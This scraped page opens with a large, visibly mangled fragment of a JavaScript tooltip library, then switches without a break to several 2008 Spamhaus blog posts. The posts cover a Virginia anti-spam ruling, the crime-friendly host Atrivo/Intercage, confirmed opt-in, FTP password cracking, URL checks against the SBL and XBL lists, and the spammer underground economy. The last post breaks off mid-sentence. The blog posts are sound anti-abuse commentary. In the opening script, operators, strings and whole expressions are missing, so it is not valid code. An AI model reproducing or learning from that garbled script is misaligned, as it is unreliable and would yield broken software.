document.body.style.maxHeight == tt\_u; } else { tt\_db = document.documentElement || document.body || (document.getElementsByTagName ? document.getElementsByTagName("body")[0] : null); if(!tt\_op) { n6 = document.defaultView && typeof document.defaultView.getComputedStyle != tt\_u; w3c = !n6 && document.getElementById; } } tt\_body = (document.getElementsByTagName ? document.getElementsByTagName("body")[0] : (document.body || null)); if(tt\_ie || n6 || tt\_op || w3c) { if(tt\_body && tt\_db) { if(document.attachEvent || document.addEventListener) return true; } else tt\_Err("wz\_tooltip.js must be included INSIDE the body section," " immediately after the opening tag."); } tt\_db = null; return false; } function tt\_MkMainDiv() { // Create the tooltip DIV if(tt\_body.insertAdjacentHTML) tt\_body.insertAdjacentHTML("afterBegin", tt\_MkMainDivHtm()); else if(typeof tt\_body.innerHTML != tt\_u && document.createElement && tt\_body.appendChild) tt\_body.appendChild(tt\_MkMainDivDom()); // FireFox Alzheimer bug if(window.tt\_GetMainDivRefs && tt\_GetMainDivRefs()) return true; tt\_db = null; return false; } function tt\_MkMainDivHtm() { return('' + (tt\_ie56 ? ('') : '')); } function tt\_MkMainDivDom() { var el = document.createElement("div"); if(el) el.id = "WzTtDiV"; return el; } function tt\_GetMainDivRefs() { tt\_aElt[0] = tt\_GetElt("WzTtDiV"); if(tt\_ie56 && tt\_aElt[0]) { tt\_aElt[tt\_aElt.length - 1] = tt\_GetElt("WzTtIfRm"); if(!tt\_aElt[tt\_aElt.length - 1]) tt\_aElt[0] = null; } if(tt\_aElt[0]) { var css = tt\_aElt[0].style; css.visibility = "hidden"; css.position = "absolute"; css.overflow = "hidden"; return true; } return false; } function tt\_ResetMainDiv() { var w = (window.screen && screen.width) ? screen.width : 10000; tt\_SetTipPos(-w, 0); tt\_aElt[0].innerHTML = ""; tt\_aElt[0].style.width = (w - 1) + "px"; } function tt\_IsW3cBox() { var css = tt\_aElt[0].style; css.padding = "10px"; css.width = "40px"; tt\_bBoxOld = (tt\_GetDivW(tt\_aElt[0]) == 40); css.padding = "0px"; tt\_ResetMainDiv(); } function tt\_OpaSupport() { var css = tt\_body.style; tt\_flagOpa = (typeof(css.filter) != tt\_u) ? 1 : (typeof(css.KhtmlOpacity) != tt\_u) ? 2 : (typeof(css.KHTMLOpacity) != tt\_u) ? 3 : (typeof(css.MozOpacity) != tt\_u) ? 4 : (typeof(css.opacity) != tt\_u) ? 5 : 0; } // Ported from http://dean.edwards.name/weblog/2006/06/again/ // (Dean Edwards et al.) function tt\_SetOnloadFnc() { tt\_AddEvtFnc(document, "DOMContentLoaded", tt\_HideSrcTags); tt\_AddEvtFnc(window, "load", tt\_HideSrcTags); if(tt\_body.attachEvent) tt\_body.attachEvent("onreadystatechange", function() { if(tt\_body.readyState == "complete") tt\_HideSrcTags(); } ); if(/WebKit|KHTML/i.test(navigator.userAgent)) { var t = setInterval(function() { if(/loaded|complete/.test(document.readyState)) { clearInterval(t); tt\_HideSrcTags(); } }, 10); } } function tt\_HideSrcTags() { if(!window.tt\_HideSrcTags || window.tt\_HideSrcTags.done) return; window.tt\_HideSrcTags.done = true; if(!tt\_HideSrcTagsRecurs(tt\_body)) tt\_Err("To enable the capability to convert HTML elements to tooltips," " you must set TagsToTip in the global tooltip configuration" " to true."); } function tt\_HideSrcTagsRecurs(dad) { var a, ovr, asT2t; // Walk the DOM tree for tags that have an onmouseover attribute // containing a TagToTip('...') call. // (.childNodes first since .children is bugous in Safari) a = dad.childNodes || dad.children || null; for(var i = a ? a.length : 0; i;) {--i; if(!tt\_HideSrcTagsRecurs(a[i])) return false; ovr = a[i].getAttribute ? a[i].getAttribute("onmouseover") : (typeof a[i].onmouseover == "function") ? a[i].onmouseover : null; if(ovr) { asT2t = ovr.toString().match(/TagToTip\s\$\s\'+'\s\*[$,]/); if(asT2t && asT2t.length) { if(!tt\_HideSrcTag(asT2t[0])) return false; } } } return true; } function tt\_HideSrcTag(sT2t) { var id, el; // The ID passed to the found TagToTip() call identifies an HTML element // to be converted to a tooltip, so hide that element id = sT2t.replace(/.+'(+)'.+/, "$1"); el = tt\_GetElt(id); if(el) { if(tt\_Debug && !TagsToTip) return false; else el.style.display = "none"; } else tt\_Err("Invalid ID\n'" + id + "'\npassed to TagToTip()." " There exists no HTML element with that ID."); return true; } function tt\_Tip(arg, t2t) { if(!tt\_db) return; if(tt\_iState) tt\_Hide(); if(!tt\_Enabled) return; tt\_t2t = t2t; if(!tt\_ReadCmds(arg)) return; tt\_iState = 0x1 | 0x4; tt\_AdaptConfig1(); tt\_MkTipContent(arg); tt\_MkTipSubDivs(); tt\_FormatTip(); tt\_bJmpVert = false; tt\_maxPosX = tt\_GetClientW() + tt\_scrlX - tt\_w - 1; tt\_maxPosY = tt\_GetClientH() + tt\_scrlY - tt\_h - 1; tt\_AdaptConfig2(); // We must fake the first mousemove in order to ensure the tip // be immediately shown and positioned tt\_Move(); tt\_ShowInit(); } function tt\_ReadCmds(a) { var i; // First load the global config values, to initialize also values // for which no command has been passed i = 0; for(var j in config) tt\_aV[i++] = config[j]; // Then replace each cached config value for which a command has been // passed (ensure the # of command args plus value args be even) if(a.length & 1) { for(i = a.length - 1; i > 0; i -= 2) tt\_aV[a[i - 1]] = a[i]; return true; } tt\_Err("Incorrect call of Tip() or TagToTip().\n" "Each command must be followed by a value."); return false; } function tt\_AdaptConfig1() { tt\_ExtCallFncs(0, "LoadConfig"); // Inherit unspecified title formattings from body if(!tt\_aV[TITLEBGCOLOR].length) tt\_aV[TITLEBGCOLOR] = tt\_aV[BORDERCOLOR]; if(!tt\_aV[TITLEFONTCOLOR].length) tt\_aV[TITLEFONTCOLOR] = tt\_aV[BGCOLOR]; if(!tt\_aV[TITLEFONTFACE].length) tt\_aV[TITLEFONTFACE] = tt\_aV[FONTFACE]; if(!tt\_aV[TITLEFONTSIZE].length) tt\_aV[TITLEFONTSIZE] = tt\_aV[FONTSIZE]; if(tt\_aV[CLOSEBTN]) { // Use title colors for non-specified closebutton colors if(!tt\_aV[CLOSEBTNCOLORS]) tt\_aV[CLOSEBTNCOLORS] = new Array("", "", "", ""); for(var i = 4; i;) {--i; if(!tt\_aVCLOSEBTNCOLORS.length) tt\_aVCLOSEBTNCOLORS = (i & 1) ? tt\_aV[TITLEFONTCOLOR] : tt\_aV[TITLEBGCOLOR]; } // Enforce titlebar be shown if(!tt\_aV[TITLE].length) tt\_aV[TITLE] = " "; } // Circumvents broken display of images and fade-in flicker in Geckos 100) tt\_aV[DELAY] = Math.max(tt\_aV[DELAY] - tt\_aV[FADEIN], 100); } function tt\_AdaptConfig2() { if(tt\_aV[CENTERMOUSE]) tt\_aV[OFFSETX] -= ((tt\_w - (tt\_aV[SHADOW] ? tt\_aV[SHADOWWIDTH] : 0)) >> 1); } // Expose content globally so extensions can modify it function tt\_MkTipContent(a) { if(tt\_t2t) { if(tt\_aV[COPYCONTENT]) tt\_sContent = tt\_t2t.innerHTML; else tt\_sContent = ""; } else tt\_sContent = a[0]; tt\_ExtCallFncs(0, "CreateContentString"); } function tt\_MkTipSubDivs() { var sCss = 'position:relative;margin:0px;padding:0px;border-width:0px;left:0px;top:0px;line-height:normal;width:auto;', sTbTrTd = ' cellspacing=0 cellpadding=0 border=0 style="' + sCss + '">' '' tt\_aV[TITLE] '' (tt\_aV[CLOSEBTN] ? ('' '' tt\_aV[CLOSEBTNTEXT] '') : '') '') : '') '' '' tt\_sContent '' (tt\_aV[SHADOW] ? ('' '') : '') ); tt\_GetSubDivRefs(); // Convert DOM node to tip if(tt\_t2t && !tt\_aV[COPYCONTENT]) { // Store the tag's parent element so we can restore that DOM branch // once the tooltip is hidden tt\_t2tDad = tt\_t2t.parentNode || tt\_t2t.parentElement || tt\_t2t.offsetParent || null; if(tt\_t2tDad) { tt\_MovDomNode(tt\_t2t, tt\_t2tDad, tt\_aElt[6]); tt\_t2t.style.display = "block"; } } tt\_ExtCallFncs(0, "SubDivsCreated"); } function tt\_GetSubDivRefs() { var aId = new Array("WzTiTl", "WzTiTlTb", "WzTiTlI", "WzClOsE", "WzBoDy", "WzBoDyI", "WzTtShDwB", "WzTtShDwR"); for(var i = aId.length; i; --i) tt\_aElt[i] = tt\_GetElt(aId[i - 1]); } function tt\_FormatTip() { var css, w, iOffY, iOffSh; //--------- Title DIV ---------- if(tt\_aV[TITLE].length) { css = tt\_aElt[1].style; css.background = tt\_aV[TITLEBGCOLOR]; css.paddingTop = (tt\_aV[CLOSEBTN] ? 2 : 0) + "px"; css.paddingBottom = "1px"; css.paddingLeft = css.paddingRight = tt\_aV[PADDING] + "px"; css = tt\_aElt[3].style; css.color = tt\_aV[TITLEFONTCOLOR]; css.fontFamily = tt\_aV[TITLEFONTFACE]; css.fontSize = tt\_aV[TITLEFONTSIZE]; css.fontWeight = "bold"; css.textAlign = tt\_aV[TITLEALIGN]; // Close button DIV if(tt\_aElt[4]) { css.paddingRight = (tt\_aV[PADDING] 0) tt\_w = tt\_aV[WIDTH] + ((tt\_aV[PADDING] + tt\_aV[BORDERWIDTH]) 0) w = tt\_aV[WIDTH] + ((tt\_aV[PADDING] + tt\_aV[BORDERWIDTH]) tt\_w) tt\_w = w; //--------- Shadow DIVs ------------ if(tt\_aV[SHADOW]) { tt\_w += tt\_aV[SHADOWWIDTH]; iOffSh = Math.floor((tt\_aV[SHADOWWIDTH] \* 4) / 3); // Bottom shadow css = tt\_aElt[7].style; css.top = iOffY + "px"; css.left = iOffSh + "px"; css.width = (tt\_w - iOffSh - tt\_aV[SHADOWWIDTH]) + "px"; css.height = tt\_aV[SHADOWWIDTH] + "px"; css.background = tt\_aV[SHADOWCOLOR]; // Right shadow css = tt\_aElt[8].style; css.top = iOffSh + "px"; css.left = (tt\_w - tt\_aV[SHADOWWIDTH]) + "px"; css.width = tt\_aV[SHADOWWIDTH] + "px"; css.background = tt\_aV[SHADOWCOLOR]; } else iOffSh = 0; //-------- Container DIV ------- tt\_SetTipOpa(tt\_aV[FADEIN] ? 0 : tt\_aV[OPACITY]); tt\_FixSize(iOffY, iOffSh); } // Fixate the size so it can't dynamically change while the tooltip is moving. function tt\_FixSize(iOffY, iOffSh) { var wIn, wOut, i; tt\_aElt[0].style.width = tt\_w + "px"; tt\_aElt[0].style.pixelWidth = tt\_w; wOut = tt\_w - ((tt\_aV[SHADOW]) ? tt\_aV[SHADOWWIDTH] : 0); // Body wIn = wOut; if(!tt\_bBoxOld) wIn -= ((tt\_aV[PADDING] + tt\_aV[BORDERWIDTH]) 0) tt\_tDurt.Timer("tt\_HideInit()", tt\_aV[DURATION], true); tt\_ExtCallFncs(0, "Show") css.visibility = "visible"; tt\_iState |= 0x2; if(tt\_aV[FADEIN]) tt\_Fade(0, 0, tt\_aV[OPACITY], Math.round(tt\_aV[FADEIN] / tt\_aV[FADEINTERVAL])); tt\_ShowIfrm(); } function tt\_ShowIfrm() { if(tt\_ie56) { var ifrm = tt\_aElt[tt\_aElt.length - 1]; if(ifrm) { var css = ifrm.style; css.zIndex = tt\_aElt[0].style.zIndex - 1; css.display = "block"; } } } function tt\_Move(e) { e = window.event || e; if(e) { tt\_musX = tt\_GetEvtX(e); tt\_musY = tt\_GetEvtY(e); } if(tt\_iState) { if(!tt\_over && e) tt\_OverInit(e); if(tt\_iState & 0x4) { // Protect some browsers against jam of mousemove events if(!tt\_op && !tt\_ie) { if(tt\_bWait) return; tt\_bWait = true; tt\_tWaitMov.Timer("tt\_bWait = false;", 1, true); } if(tt\_aV[FIX]) { tt\_iState &= ~0x4; tt\_SetTipPos(tt\_aVFIX, tt\_aVFIX); } else if(!tt\_ExtCallFncs(e, "MoveBefore")) tt\_SetTipPos(tt\_PosX(), tt\_PosY()); tt\_ExtCallFncs([tt\_musX, tt\_musY], "MoveAfter") } } } function tt\_PosX() { var x; x = tt\_musX; if(tt\_aV[LEFT]) x -= tt\_w + tt\_aV[OFFSETX] - (tt\_aV[SHADOW] ? tt\_aV[SHADOWWIDTH] : 0); else x += tt\_aV[OFFSETX]; // Prevent tip from extending past right/left clientarea boundary if(x > tt\_maxPosX) x = tt\_maxPosX; return((x = tt\_scrlY + 16)) y = tt\_DoPosYAbove(); else if(!tt\_aV[ABOVE] && tt\_bJmpVert && tt\_CalcPosYBelow() > tt\_maxPosY - 16) y = tt\_DoPosYAbove(); else y = tt\_DoPosYBelow(); // Snap to other side of mouse if tip would extend past window boundary if(y > tt\_maxPosY) y = tt\_DoPosYAbove(); if(y 0 && dy a) ? (now >= z) : (now

Virginia Court OKs Anonymous Spam

The Spamhaus Team — Tue, 16 Sep 2008 07:00:00 GMT

Or "Frea Speach," as spammers write with their notoriously bad spelling while yammering about their right to send spam. There is no right to send spam, of course, let alone anonymously. Almost a decade ago, in their decisions in AOL vs. Cyberpromo and Earthlink vs. Cyberpromo, U.S. courts of appeal ruled that spam is theft of service and trespass to chattels, both of which are civil offenses. And of course the U.S. CAN-SPAM law remains in effect, for what that's worth. So, it came as a surprise when the Commonwealth of Virginia superior court overturned the Loudoun County appellate court's guilty verdict against equine porn spammer Jeremy Jaynes (AKA Gaven Stubberfield; ironically Jaynes remained anonymous for years during his spamming). Spamhaus questions the Virginia court's opinion. Our understanding is that sound trucks cannot drive around neighborhoods blasting amplified announcements, nor can pirate radio stations flood the airwaves with broadcasts of any content, nor can anyone but the USPS stuff printed material into post boxes, nor is graffiti nor leafletting car parks acceptable. None of those minor restrictions appear to infringe on citizen's ability to express themselves freely. Why the court would deny basic protections for ISP servers and bandwidth escapes us, but apparently it was due to the technicality of not specifying commercial speech. The judge's reasoning is based on the U.S. Constitution's First Amendment right of freedom of the press. He says: [The law] would prohibit all bulk e-mail containing anonymous political, religious, or other expressive speech. For example, were the Federalist Papers just being published today via e-mail, that transmission by Publius would violate the statute." (Publius was an anonymous hero of the American Rebellion.) So, the judge's concern seems to be over the ability to send anonymous non-commercial e-mail, possibly in bulk. But here's what he said about anonymity earlier in his decision: As shown by the record, because e-mail transmission protocol requires entry of an IP address and domain name for the sender, the only way such a speaker can publish an anonymous e-mail is to enter a false IP address or domain name. Ignoring the nit that falsifying the delivery IP in an SMTP transaction would require hackery which itself would be blatantly illicit (BGP hijack), the judge appears to be claiming that one must forge a domain or e-mail address belonging to someone else in order to be anonymous, and that's simply wrong. Forgery isn't the only option; one could as easily use any number of other methods to conceal one's identity in an e-mail message. Even if forging domain names were required (which it is not), we have a hard time thinking that the First Amendment was intended to permit anonymous speech to implicate someone else (as Jaynes did). Prohibiting forgery in no way prohibits anonymity. Time will tell if the Virginia Attorney General further appeals that case to the Supreme Court of the United States. Considering that the vast majority of spam--over 90%--is already criminal due to its delivery via botnets, and that ISPs in the U.S. already are explicitly permitted to make spam-blocking decisions without recourse by the sender, Spamhaus expects that this decision will have no noticeable effect on most inboxes. It will, though, make it that much tougher and less likely to stop the marginal bulk mailers who try to slide between the outright botnet criminals and legitimate bulk e-mailers, and thus harder to throw the incorrigible bad players into jail. At the same time, legitimate bulk e-mail will be that much harder to deliver as ISPs tighten spam filters to keep out those who could have been prosecuted to stop spamming. Overall the decision is bad for e-mail as a communication medium, bad for consumers who don't want junk in their inbox, bad for ISPs who have to pay to receive such junk, and even bad for legitimate bulk e-mail senders who are trying to do the right thing, Confirmed Opt In bulk e-mail. It might appear to be good for politicians wishing a free bite of each inbox, but most pols have already learned that in the communication age, recipients can bite back. Even Publius would be better off using a method more reputable and reliable than spam to deliver her message, perhaps a website. 31 March 2009: The Supreme Court of the United States declines to hear the appeal, leaving as final the Virginia Supreme Court's decision invalidating the law. 1, 2, 3, 4 Jaynes continues to serve 42 months in federal prison on an unrelated securities fraud conviction.

Cybercrime's U.S. Home

The Spamhaus Team — Fri, 29 Aug 2008 10:02:00 GMT

When cybercrime is mentioned it never takes long for Russia and the Ukraine to enter the picture. However, while a lot of cybercriminals are based in those countries, a lot of their infrastructure is housed in the west, in the United States to be precise. Without exception, all of the major security organizations on the Internet agree that the 'Home' of cybercrime in the western world is a firm known as Atrivo/Intercage, based in California. We ourselves have not come to this conclusion lightly but from many years of dealing with criminal operations hosted by Atrivo/Intercage, gangs of cybercriminals - mostly Russian and East European but with several US online crime gangs as well - whose activities always lead back to servers run by Atrivo/Intercage. We have lost count of the times we have tracked a major virus botnet's "command and control" to Atrivo/Intercage servers. At almost every Internet security conference, or law enforcement seminar on cyber-crime, a presentation will detail some attack, exploit, phish or financial crime that has some nexus at Atrivo/Intercage. The person who runs Atrivo/Intercage, Emil Kacperski is an expert at playing the "surprised janitor", unaware of every new criminal enterprise found on his servers and keen to show he gets rid of some criminals once their activities on his network are exposed. His Internet hosting career first came to the attention of most anti-abuse organizations when he pinched (or 'purchased stolen goods' as he put it) and routed an unused block of 65,536 IP addresses belonging to the County of Los Angeles. Spamhaus has dealt with over 350 incidents of cyber-crime hosting on Atrivo/Intercage and its related networks in the last 3 years alone, all of which involved criminal operations such as malware, virus spreaders and botnet command and control servers. Malware found by Spamhaus on Atrivo/Intercage/Cernel/Hostfresh just in the last few months included the Storm Worm installer and controller and a MySpace spambot amongst others. Spamhaus currently sees a large amount of activity related to malicious software and exploits being hosted on Atrivo/Intercage which include DNS hijack malware, IFRAME browser attacks, dialers, pirated software websites and blatantly criminal services. We assume that every law enforcement agency with a cyber-crimes division has a dossier bursting at the seams on Atrivo/Intercage and its tentacles such as Esthost, Estdomains, Cernel, Hostfresh. The only question on everyone's mind is which agency will beat the others to shutting the whole place down and indicting the people behind it. Because if shut down, one thing is certain: the amount of malware-driven crime on the Internet would drop overnight as cyber-criminals rush to find a new crime-friendly host - difficult to find in the US, as Atrivo/Intercage is one of the very few remaining dedicated crime hosting firms whose customer base is composed almost, or perhaps entirely, of criminal gangs. More importantly, millions of Internet users currently being targeted by the malware gangs operating from Atrivo/Intercage will be, for a while, safer. Perhaps one may be wondering about the costs of hosting at Atrivo/Intercage or how to sign up? Well, don't expect to find this information at the company's websites as they were empty for years and for the last year have just shown "Website Coming Soon." http://www.atrivo.com => "InterCage, Inc. INTENSE SERVERS. Website Coming Soon:" Last Updated: Thursday, September 06, 2007 4:32:59 PM http://www.intercage.com => "InterCage, Inc. INTENSE SERVERS. Website Coming Soon:" Tuesday, September 04, 2007 6:45:52 PM At one time after being asked, "how on earth does your company get business?" an Atrivo/Intercage representative coyly said, "by word of mouth." That seems to be quite obvious. \\\* UPDATE: Intercage/Atrivo has been de-peered from the internet \\\* Additional reading: Washington Post: Report Slams U.S. Host as Major Source of Badware- Washington Post: Estdomains: A Sordid History- Washington Post: A Superlative Scam and Spam Site Registrar- Washington Post: Fake Antispyware Purveyor Doubles as Domain Registrar- Hostexploit: Atrivo - Cyber Crime USA White Paper- StopBadware: Report calls out Atrivo (Intercage) and affiliates- Securityfocus: Cracking Down on Cyberspace Land Grabs- Spamhaus: The hijacking of Los Angeles county- Virus Bulletin: Can You Trust Your DNS? (PDF)- ZD Net: ISPs hosting spyware - who are they?- InfoWorld: Cyber-scammers are entrenched, even in the U.S.- Shadowserver: Atrivo/InterCage - Malware Haven- CircleID: Cyber Crime: An Economic Problem- AdvertLabs: The darksides domains- Washington Post: Spam Volumes Plummet After Atrivo Shutdown- Ars technica: Atrivo ISP shutdown sends ripples through the spam deluge

Confirmed Opt In - A Rose by Any Name

The Spamhaus Team — Mon, 11 Aug 2008 22:01:00 GMT

Closed Loop Confirmed Opt In is the full technical term for the best opt-in subscription practice around. But whether you call it Confirmed, Verified, Double or any other adjective it still means the same thing: "Hey you! Subscriber! Is this really you who signed up for this list? Unless you respond, we won't send you more mail." The subscriber's response completes the loop and confirms their desire to start receiving that bulk e-mail stream. Spamhaus has always advocated the policy of Confirmed Opt In (COI) for bulk e-mail subscriptions. COI prevents unwanted subscriptions due to forgeries and typos, and provides an auditable trail of accountability which supports the list's opt-in integrity if a recipient reports the mail as spam. COI isn't a cure-all for all list problems; some other tips on bulk e-mailing are in our Marketing FAQ. Lists still need working unsubscribe mechanisms and bounce processing to keep the list itself clean, sending servers still need correct configuration and many other techniques are involved in order to achieve optimal e-mail delivery. But for the important initial step of address acquisition, COI provides a very reliable tool to prevent unwanted addresses - and spamtraps - from polluting the list and causing delivery problems. Most ISP Postmasters suggest COI as one of the important ways to ensure good delivery to their customer's mailboxes. Many ESPs and other bulk mail services likewise recommend COI to their clients. This piece will point to some of those recommendations as well as links to a few other resources supporting COI. Let's start with a recent (30 July 08) piece of advice from Yahoo! which says "We recommend commercial e-mail senders ensure they're sending mail that Yahoo! Mail users want to receive. This means following recommended practices like confirming - and even periodically re-confirming - that users want to be on their mailing lists and proactively removing anyone who doesn't read their mail." Yahoo has previously posted "...use confirmed, opt-in email lists. To do this, after you receive a subscription request, send a confirmation email to that address which requires some affirmative action before that email address is added to the mailing list. Since only the true owner of that email address can respond, you will know that the true owner has truly intended to subscribe and that the address is valid." (noted on Aweber's page, below [3]) Next let's look at what Google (gmail.com) says: "Each user on your distribution list should opt to receive messages from you in one of the following ways (opt-in): \* Through an email asking to subscribe to your list. \* By manually checking a box on a web form, or within a piece of software. We also recommend that you verify each email address before subscribing them to your list." There's lots more good advice for bulk mailers on that page, too. Microsoft (hotmail.com, live.com, msn.com) publishes guidelines for sending bulk mail to its network. It specifically references MAPS Guidelines for proper mailing list management which has supported COI since MAPS earliest days: "New subscriber's email addresses must be fully verified before mailings commence." MAPS' page provides further guidelines for proper principles and methods of maintaining clean opt-in lists, and Microsoft's page links on to much more information for bulk mailers, including their feedback loop. Many years ago, Tom Kulzer's aweber.com ESP ran into a bad patch of spammers. He quickly learned that COI was an invaluable tool for his customers to keep their lists clean and he remains an advocate of COI to this day. Among his many pages with helpful tips to list owners, he talks about COI on at least three pages ([[1]](http://www.aweber.com/faq/questions/395/What+Makes+Confirmed+Opt-In+an+Industry+Standard%3F), [[2]](http://www.aweber.com/blog/email-deliverability/confirmed-opt-in-myths-exposed.htm), [[3]](http://www.aweber.com/faq/questions/64/Why+Use+Confirmed+Opt-In%3F)). Tom cites a variety of well-known brands which employ COI including CNN, Microsoft, Oprah, CNet, bellagio.com, IRS.gov, weather.com, ign.com, maxim.com, tgifridays.com, olivegarden.com, pbs.org, visitpa.com and Whitehouse.gov. That's just for starters. DigitalRiver, a large e-commerce service provider with several ESP brands in their company, publishes a "How To" guide encouraging their clients to confirm subscriber addresses: "Why do it? This greatly reduces spam complaints against the resulting mailed list; as there are no instances of bogus/invalid email addresses on the list that shouldn't be there, and nobody can successfully sign up an email address other than their own. As a result, any spam complaints received later are refutable; they are the result of somebody who wants to unsubscribe, forgot that they subscribed, or decided to send a false complaint. With a double opt-in process and associated tracking data, you can prove to ISPs and anti-spam groups that the mail was solicited and that your mail is not spam." Sometimes, for various reasons, a list needs a "permission pass" in order to clean out non-responsive or improperly permissioned addresses. Here is an account by a subscriber to Shop.com's list about how they employed such a strategy to retain and engage high-value subscribers while decreasing list size and related complaints, thus ensuring both good delivery and good business. Note: This post is not an endorsement of any of those service providers. It is simply a collection of pointers to Confirmed Opt In recommendations. If you have a page recommending COI, we might be able to link to it, too. 2008-09-09: Ken Magill at directmag.com offers advice on COI to marketers: "And there's a lesson here for marketers: They should stop kidding themselves and use so-called double opt-in--or fully verified opt-in, or closed-loop opt-in, or whatever you want to call it--in their e-mail list-building efforts, or they shouldn't be surprised when they end up with a lot of crap addresses."

Spam, Malware and FTP cracks

The Spamhaus Team — Fri, 25 Jul 2008 23:19:00 GMT

There is lots of spam going around with funny subjects like "Mike Tyson to Fight Michael Jackson" or "Afghanistan to be 51st US State", or other equally absurd lines designed to hook unwary recipients into clicking the URL in the spam. Unfortunately, the results of following that link are not at all funny. The victim's computer will be infected with a Trojan horse, it will become part of a spam, malware and DDoS botnet, and all the user's personal data may be compromised. Those malware URLs are the infection path of large-scale attacks by cybercrime gangs to build their botnets. The malware URLs themselves are hosted on cracked web servers, and those web server IP addresses often end up in SBL. Spamhaus has learned from admins of those systems that the common vector used by the attackers are FTP password cracks. Further, the attacks are not only on weak 'guessed' passwords, but the bad guys are sniffing passwords via other malware installations, so even good, strong passwords are vulnerable. Remember, FTP transmits passwords 'in the clear', not encrypted! The way for those website owners to protect their systems is to use a protocol which protects their passwords with encryption, either SFTP (SSH File Transfer Protocol) or FTPS (FTP over SSL/TLS). There are many good secure FTP clients available. We can't list them all but two popular, free, open-source clients for several operating systems are available from FileZilla (and a Windows server) and PuTTY PSFTP. ISPs and hosting companies, please encourage all your customers to switch to secure FTP immediately, including server support on your end. It protects everybody, including your customers and the Internet at large!

Using the SBL and XBL against spamvertized URLs

The Spamhaus Team — Fri, 27 Jun 2008 13:55:00 GMT

A lot of people are using our SBL and XBL lists to guard their mail infrastructure against the incoming floods of spam. While we encourage all SBL-XBL users to switch to ZEN to check the connecting IP, the SBL-XBL combination still has a very powerful, but lesser-known application area: use it against spamvertized URLs in the message content. While the spam emitting bots move around at a high pace, most websites that are mentioned in spam are a lot easier to pin down because there are not much networks that want to host these. You will find that the majority of the IP addresses that host spamvertized websites (or do DNS for them) are listed in the SBL. So if a mail gets sent from a yet unlisted infected machine you can still check whether the spamvertized URL is hosted on or gets DNS service from a SBL'ed IP address. The same goes for spamvertized domains that are not yet on the URL based blacklists like SURBL: If they're hosted on SBL-listed IP addresses you can safely assume it's spam. If you plan to do this, please make sure that you only use the SBL or the SBL-XBL combination for this. Checking website addresses against Zen might produce false positives, because some legitimate websites are hosted on PBL listed addresses, and PBL is included in Zen. Why? Simply because the PBL policy states that no mail will be emitted from those addresses. That does not mean that those IP addresses should not run web or DNS servers. So it's best to use the SBL or the SBL-XBL combination for this. Adding XBL is particularly interesting in this case to catch fast-flux hosted websites. Our users report very good results in catching fast-flux hosted URLs when adding XBL to the URL checks. Lots of spam filtering software already has the ability to check spamvertized URLs against our lists. SpamAssassin and its URI\_SBL rule are widely used for this, as is SpamBouncer. (Aug 2008: rule now called URIBL\_SBLXBL.) Also see our page on Effective Spam Filtering and our FAQ on DNSBL Usage.

The Spammer Agora

The Spamhaus Team — Sun, 16 Mar 2008 21:52:00 GMT

There's been a lot of use of the term "ecosystem" in the e-mail industry lately. It's a good description of the complex environment that has grown up around Simple Mail Transport Protocol; it's no longer simple. But, like any ecosystem, it has many subsystems and niches within it. Among spammers in general, the botnet and black market spammers have developed a marketplace all by themselves. Even spammers using static sending IP addresses turn to blackhat suppliers for lots of "snowshoe" domains, or for bulletproof hosting. That subsystem is what I'm calling "The Spammer Agora", a bazaar of sorts, and I'll describe it a bit more, here. The agora in ancient Greece was the place of general assembly, and it developed into a marketplace commons for the exchange of goods and services. That's exactly what goes on in spammer forums, both open and secret. From the old "Warriors" board of years past, progressing to various "bulker boards" of various degrees of secrecy, and on to completely criminal enterprises controlled by a Mafia-style organization like Carderplanet, those chatrooms are where spammers go to buy and sell various pieces of their product. An entire marketplace has developed among spammers for the distribution of spam-production factors. Among the basic services are bulletproof hosting, botnet mailers and botnet rental, and some sort of product to mail for such as pharmaceuticals, herbal remedies, mortgage and loan, pump and dump stocks, or adult services. Products are typically marketed as "affiliate programs", with the program paying the various affiliates for clicks or purchases. Affiliates in those programs are often simply "button pushers": the program arranges bulletproof hosting and domains, then pays the affiliates to send the spam blasts. But in the complexity of the spammer agora, either the program itself or the individual button pushers might arrange for the various services they need to send the spam, and there are nearly unlimited combinations of marketplace factors. Beyond bulletproof hosting and botnets, spammers need a range of other services. All of those are offered in the spammer agora by various specialists. Some of the other services and products offered include domain registration and "aging", payment processors, drop shippers, botmasters, address lists, money mules and money launderers, spam engines and ratware servers, various "back end" hosting services, database management, suppliers of any product to the affiliate program (pills!), CAPTCHA cracker tools and lists of accounts of created just for spammer use (Geocities and Google, for example). That mix of products, bought and sold throughout various spammer-oriented fora, comprise the spammer agora. Within that marketplace, various spammers do different things at different times. For example Yambo might hire a particular botnet one week and HerbalKing hire it the next. And Kuvayev might buy 10,000 domains from a black market reseller and turn around and sell 2,000 each to Polyakov, Yambo and HerbalKing. And meanwhile, any number of button pushers could be sending for all four of those affiliate programs while leasing botnet and bulletproof hosting time from yet other suppliers. Marketplaces get very complicated! With black market Internet scams abounding, money is sure to drive even more complexity into The Spammer Agora.

Blackhats and Grayhats

The Spamhaus Team — Fri, 15 Feb 2008 02:20:00 GMT

(From a discussion in a private anti-abuse industry workgroup list in November 2007 regarding the need for extensive restructuring of e-mail systems due to spam; reproduced with permission...) Someone Else wrote: *>And that is entirely due to the f\\\_\\_s who are abusing the s\\_t out of the net right now, not sys admins who are trying desperately to hold up their end of the bargain. The responsibility lies entirely and squarely on them. Beyond their arrest I would love to see them literally keel hauled. Repeatedly.* Quentin Jenkins answered: I share your sentiments on the arrest and dissolution of the criminals. But I'm afraid that when it comes to the good and righteous sys admins of the world, and anyone else who treads the Internet, I find plenty of shades of gray. If you don't want to read the rant, the executive summary is Edmund Burke's "All that is necessary for the triumph of evil is that good men do nothing." Now, I don't mean to come down on anyone on this list personally. This is a very special group and we're all doing the best we can against spam and abuse. And indeed the problem isn't so much at the level of individuals as it is at corporations, networks, institutions, bureaus and organizations which take on a life of their own. But still, the people on this list touch on many of those larger entities which are tolerating the problem. The bad guys are right there in front of us and we're letting them stay there. Who's doing that, you ask? Well, again my aim isn't to point fingers, so any names are purely exemplary and there are others which could take their place. But, as a short list to illustrate the problems, there is/are: Anyone who transits traffic for Intercage/Atrivo, Hostfresh, ZBYD, Newspeed or a variety of other fully evil networks. (hi, those which peer with them; hi, networks which don't promptly null out rogue Chinese IDCs or other criminal lairs.) Backbones which knowingly allow abuse downstream of them. Anyone who says that they're so big they can't possibly run a clean ship, I've heard that Level3 is now the world's largest carrier, and they can do it: (zero SBLs!) Hosting companies who neglect to monitor abuse@, who think that warning dedicated spammers will stop them, and who to this day say "but it wasn't sent from my network..." (etc.) Consumer connectivity providers who won't block port 25, who can't keep up with the support needs of an infected user base, who so far have been none too hasty to implement walled 